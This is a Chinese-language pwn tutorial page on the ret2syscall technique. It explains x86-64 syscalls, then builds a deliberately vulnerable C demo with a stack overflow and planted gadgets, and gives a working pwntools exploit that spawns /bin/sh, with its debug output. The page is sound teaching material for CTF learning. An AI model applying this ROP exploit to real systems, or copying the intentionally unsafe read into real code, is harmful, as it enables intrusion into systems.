C0nvR3 Lab

Search workspace

Keyboard shortcuts

Ctrl + K
Open search
Esc
Close menu or dialog

How2pwn\1-3-ret2syscall\index.md

1-3 ret2syscall

Table of contents

在上一章节中简短的提到了一些 syscall 相关的内容,在本章我们将详细讲解 ret2syscall 的具体技术细节与 syscall 当然此处的 ret2syscall 并不能完全算是标准的 ret2syscall ,因为硬要说的话,你的 syscall gadget也在text段,何尝不是一种 ret2text呢?

syscall

Linux 中的 syscall(系统调用),是用户态程序向内核请求服务的接口

普通程序运行在权限较低的用户态,不能直接操作硬件、进程或内核数据 因此,当程序需要执行以下操作时,就必须通过系统调用进入内核:

  • read:读取文件或输入
  • write:写入文件或输出
  • openat:打开文件
  • mmap:映射内存
  • fork / clone:创建进程或线程
  • execve:运行新程序
  • exit:退出进程

以 x86-64 Linux 为例,执行系统调用时通常:

  1. 将系统调用编号放入 rax
  2. 将参数依次放入 rdirsirdxr10r8r9 注意此处参数顺序,第四个参数不是 rcx 保存
  3. 执行 syscall 指令
  4. 内核完成操作后,将返回值放入 rax

例如:

mov rax, 1          ; syscall 编号 1:write
mov rdi, 1          ; 文件描述符 1:stdout
mov rsi, message    ; 字符串地址
mov rdx, 5          ; 字符串长度
syscall

可以将 syscall 简单理解为:

用户程序进入内核并调用内核功能的一扇受控入口。

ret2syscall

依旧我们搭配一个 demo 理解这种攻击手法

点击查看
#include <stdio.h>
#include <stdlib.h>

char binsh[8] = "/bin/sh\x00";

void gadget(){
    asm("pop %rax; pop %rdi; pop %rsi; pop %rdx; ret");
    asm("syscall;");
}

void vuln(){
    char buf[0x20];  
    read(0, buf, 0x100);
}

void main(){
    vuln();
}

使用以下命令编译

gcc demo.c -o demo -fno-stack-protector -no-pie

拿到题目首先 checksec

❯ checksec demo
[*] '/home/converter258/workplace/syc/recruitment/task7/ret2syscall/demo'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

然后打开 IDA

ssize_t vuln()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x100uLL);
}

为了方便示例,我们提前预留了一套完整的 gadget

.text:000000000040113E                 pop     rax
.text:000000000040113F                 pop     rdi
.text:0000000000401140                 pop     rsi
.text:0000000000401141                 pop     rdx
.text:0000000000401142                 retn
...
.text:0000000000401143                 syscall                 ; LINUX -

IDA里看 gadget 函数可能有一点边界问题,但是不影响我们解题 有一套完整的gadget 用于设置 rax rdi rsi rdx,同时有syscall的gadget

根据上一部分提到的构造,我们需要通过 ROP 设置 rax 为 0x3b rdi指向 /bin/sh ,rsi和rdx设置为 0 大致栈结构如下

alt text
因此我们可以写出payload

payload = cyclic(0x28) + p64(gadget) + p64(0x3b) + p64(binsh_addr) + p64(0) +p64(0) + p64(syscall_addr)

完善exp

exp
#!/usr/bin/python3
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
ELF_PATH = './demo'

io = process(ELF_PATH)

gadget = 0x40113E
syscall_addr = 0x401143
binsh_addr = 0x404018

payload = cyclic(0x28) + p64(gadget) + p64(0x3b) + p64(binsh_addr) + p64(0) +p64(0) + p64(syscall_addr)
io.sendline(payload)

io.interactive()

执行一下

❯ python3 exp.py
[+] Starting local process './demo' argv=[b'./demo'] : pid 12143
[DEBUG] Sent 0x59 bytes:
    00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  │aaaa│baaa│caaa│daaa│
    00000010  65 61 61 61  66 61 61 61  67 61 61 61  68 61 61 61  │eaaa│faaa│gaaa│haaa│
    00000020  69 61 61 61  6a 61 61 61  3e 11 40 00  00 00 00 00  │iaaa│jaaa│>·@·│····│
    00000030  3b 00 00 00  00 00 00 00  18 40 40 00  00 00 00 00  │;···│····│·@@·│····│
    00000040  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000050  43 11 40 00  00 00 00 00  0a                        │C·@·│····│·│
    00000059
[*] Switching to interactive mode
$ whoami
[DEBUG] Sent 0x7 bytes:
    b'whoami\n'
[DEBUG] Received 0xd bytes:
    b'converter258\n'
converter258
$

一点练习题

Payphone

I’m at a payphone trying to call home ♬ ~

payphone

Terminal

C0nvR3 Lab terminal ready. Type help for commands.